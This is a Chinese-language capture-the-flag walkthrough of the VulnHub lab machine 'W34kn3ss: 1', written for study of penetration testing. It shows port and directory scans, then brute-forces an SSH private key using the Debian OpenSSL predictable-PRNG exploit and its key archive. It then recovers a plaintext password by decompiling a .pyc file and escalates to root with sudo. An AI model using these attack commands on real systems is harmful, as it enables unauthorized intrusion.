当前位置:网站首页>vulnhub W34kn3ss: 1
vulnhub W34kn3ss: 1
2022-08-02 17:03:00 【仙女象】
渗透思路:
nmap扫描端口 ---- gobuster扫描网站目录 ---- 修改hosts文件,并扫描网站目录 ---- 利用OpenSSL 0.9.8c-1可预测伪随机数漏洞爆破ssh私钥 ---- uncompyle6反编译.pyc ---- sudo su提权
环境信息:
靶机:192.168.101.93
攻击机:192.168.101.34
具体步骤:
1、nmap扫描端口
sudo nmap -sV -sC -p- 192.168.101.93扫描到tcp 22、80、443端口

2、gobuster扫描网站目录
gobuster dir -u http://192.168.101.93 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .txt,.php扫描到/blog、/uploads、/upload.php、/test

在浏览器中访问了这些目录,都没啥用
3、修改hosts文件,并扫描网站目录
注意到nmap扫描结果中,443端口ssl-cert中commonName是weakness.jth
在/etc/hosts中增加一条靶机ip和weakness.jth的对应关系
sudo vim /etc/hosts添加
192.168.101.93 weakness.jth

浏览器访问http://weakness.jth/,和直接访问ip地址(出现apache默认页面)是不同的页面。
发现一个兔兔,兔兔尾巴是系统用户名n30(n30也是http://192.168.101.93/upload.php的title,以及上传文件后查看网页源代码也能看到n30)

再用gobuster扫描http://weakness.jth/的目录
gobuster dir -u http://weakness.jth -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .txt,.php
浏览器访问http://weakness.jth/private/

mykey.pub里面有个公钥,点击可以下载。
点notes.txt(来到http://weakness.jth/private/files/notes.txt),发现提示
this key was generated by openssl 0.9.8c-1

4、利用OpenSSL 0.9.8c-1可预测伪随机数漏洞爆破ssh私钥
在exploit-db中搜索openssl 0.9.8c-1,找到如下payload

我选了python的exp:OpenSSL 0.9.8c-1 < 0.9.8g-9 (Debian and Derivatives) - Predictable PRNG Brute Force SSH - Linux remote Exploit
exp中的使用方法提示如下
# 1. Download https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/5622.tar.bz2 (debian_ssh_rsa_2048_x86.tar.bz2)
#
# 2. Extract it to a directory
#
# 3. Execute the python script
# - something like: python exploit.py /home/hitz/keys 192.168.1.240 root 22 5
# - execute: python exploit.py (without parameters) to display the help
# - if the key is found, the script shows something like that:
# Key Found in file: ba7a6b3be3dac7dcd359w20b4afd5143-1121
# Execute: ssh -lroot -p22 -i /home/hitz/keys/ba7a6b3be3dac7dcd359w20b4afd5143-1121 192.168.1.240
首先从https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/5622.tar.bz2下载5622.tar.bz2,然后解压,解压出的文件夹是./rsa/2048/,这个文件夹下是好多好多公私钥对

官方方法
然后从OpenSSL 0.9.8c-1 < 0.9.8g-9 (Debian and Derivatives) - Predictable PRNG Brute Force SSH - Linux remote Exploit下载exp脚本5720.py,并执行
python2 5720.py可以得到用法提示

根据用法提示,爆破n30的私钥
./rsa/2048是存放公私钥对的目录,192.168.101.93是靶机ip,n30是用户名,22是ssh端口
python2 5720.py ./rsa/2048 192.168.101.93 n30 22一段时间后,爆破出私钥在文件4161de56829de2fe64b9055711f531c1-2537中

n30用户用该私钥ssh登录靶机
ssh [email protected] -i 4161de56829de2fe64b9055711f531c1-2537

更简单的方法
网上看到别的博主有更简单的办法获得n30的私钥。由于mykey.pub中已经给出了公钥,所以可以用grep命令在./rsa/2048/中搜索包含该公钥的文件,其对应的私钥就是n30的私钥。

grep -r -l "AAAAB3NzaC1yc2EAAAABIwAAAQEApC39uhie9gZahjiiMo+k8DOqKLujcZMN1bESzSLT8H5jRGj8n1FFqjJw27Nu5JYTI73Szhg/uoeMOfECHNzGj7GtoMqwh38clgVjQ7Qzb47/kguAeWMUcUHrCBz9KsN+7eNTb5cfu0O0QgY+DoLxuwfVufRVNcvaNyo0VS1dAJWgDnskJJRD+46RlkUyVNhwegA0QRj9Salmpssp+z5wq7KBPL1S982QwkdhyvKg3dMy29j/C5sIIqM/mlqilhuidwo1ozjQlU2+yAVo5XrWDo0qVzzxsnTxB5JAfF7ifoDZp2yczZg+ZavtmfItQt1Vac1vSuBPCpTqkjE/4Iklgw==" ./rsa/20481秒就找到了公钥文件./rsa/2048/4161de56829de2fe64b9055711f531c1-2537.pub,对应的私钥也就是./rsa/2048/4161de56829de2fe64b9055711f531c1-2537,和用exp脚本爆破出来的是一样的,但是用时比exp脚本少太多。
5、uncompyle6 反编译.pyc
n30用户家目录下有个code文件,执行报错

其文件类型为python 2.7 byte-compiled
file code
n30家目录下起http服务
python -m SimpleHTTPServer 9999攻击机上下载code,改名为code.pyc,然后用uncompyle6反编译
wget http://192.168.101.93:9999/code
mv code code.pyc
uncompyle6 -o code.py code.pyc注意,如果像我一样uncompyle6安装目录不在$PATH中,还需要把其安装目录添加到$PATH中
export PATH=$PATH:/home/kali/.local/bin反编译成功后,查看code.py的内容,发现
n30:dMASDNB!!#B!#!#33

6、sudo su提权
现在知道了n30的密码是dMASDNB!!#B!#!#33,可以试试sudo提权
先sudo -l看看n30能sudo执行哪些命令

看来n30可以以任意用户身份sudo执行任意命令
sudo su提权到root,并在/root下发现root.txt

边栏推荐
猜你喜欢

安装TimeGen波形绘图软件

oracle 和mysql 语句结果不一致问题

【电子器件笔记6】三极管(BJT)参数和选型

Switch 块、Switch 表达式、Switch 模式匹配,越来越好用的 Switch

Gartner发布,年度Challenger!

工信部电子五所张志强:中国数据库行业发展趋势分析

Inconsistency between oracle and mysql statement results

LeetCode·每日一题·

Real-time data warehouse architecture evolution and selection

文件上传很难搞?10分钟带你学会阿里云OSS对象存储
随机推荐
navicat premium 15 下载安装详细教程
土巴兔IPO五次折戟,互联网家装未解“中介”之痛
Common software silent installation parameters
LeetCode·76.最小覆盖子串·滑动窗口
「全球数字经济大会」登陆 N 世界,融云提供通信云服务支持
创新云集技术咖,工赋汇聚实战派:2022工赋开发者峰会
LeetCode·每日一题·
“蔚来杯“2022牛客暑期多校训练营4 E - Jobs (Hard Version)
js实现改变原来对象中的键值对对应的值
SQL语句基础
Oracle 11 g rac finished patch, dbca new patches of SQL database also needs to perform?
Smart Contract Security - delegatecall (1)
C语言中的一系列操作符
mui中使用多级选择器实现省市区联动
Red and blue against experience sharing: CS from kill posture
npm install报错Fix the upstream dependency conflict, or retry
Summary of CNN classic models [easy to understand]
金仓数据库 OCCI 迁移指南(4. KingbaseES 的 OCCI 迁移指南)
Locking and Concurrency Control (3)
Redis的使用--集群模式